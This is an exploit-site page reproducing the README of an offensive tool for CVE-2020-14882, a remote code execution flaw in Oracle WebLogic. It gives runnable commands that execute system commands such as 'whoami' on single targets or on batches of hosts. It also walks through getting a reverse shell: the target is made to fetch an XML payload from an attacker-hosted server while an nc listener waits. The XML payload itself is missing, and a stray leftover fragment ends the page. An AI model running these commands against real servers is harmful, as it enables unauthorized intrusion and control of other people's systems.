Sploitus

Exploit for CVE-2020-14882

githubexploit · 2020-11-03

Exploit Code

README52 lines
## https://sploitus.com/exploit?id=9AEDE16C-FF28-5178-A8D1-CB6649E9ED56
# CVE-2020-14882_ALL

CVE-2020-14882_ALL is a comprehensive tool that supports command echo detection, batch command echo, and execution of commands without echo output using external XML files. Required modules: requests, http.client.

**(This tool is only intended for authorized security testing. Do not use it for illegal purposes. Any violations are not related to the author.)**

Known successful versions of the command echo module: 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

### Options

![](./images/1.png)

### Function 1: Command Echo

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "net user"

![](./images/2.png)

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "whoami"

![](./images/3.png)

### Function 2: Batch Command Echo

python3 CVE-2020-14882_ALL.py -f target.txt -c "whoami"

The target.txt format: http://x.x.x.x:xx, one per line. ![](./images/4.png)

### Function 3: Execution of Commands Without Echo Output Using External XML Files

1. Taking Linux rebound shell as an example, edit the poc.xml file and enable Python listening.

    
    
      
    cmd
    
  

  
   Enable Python listening. ![](./images/5.png)

   Start listening with nc. ![](./images/6.png)

2. Use the -x option to specify the XML file path and send the payload. python3 CVE-2020-14882_ALL.py -u http://xxxx:7001 -x http://xxx:8000/poc.xml

![](./images/7.png)

3. Successfully receive the shell. ![](./images/8.png)

[source-iocs-preserved url=http://x.x.x.x:xx，一行一个。]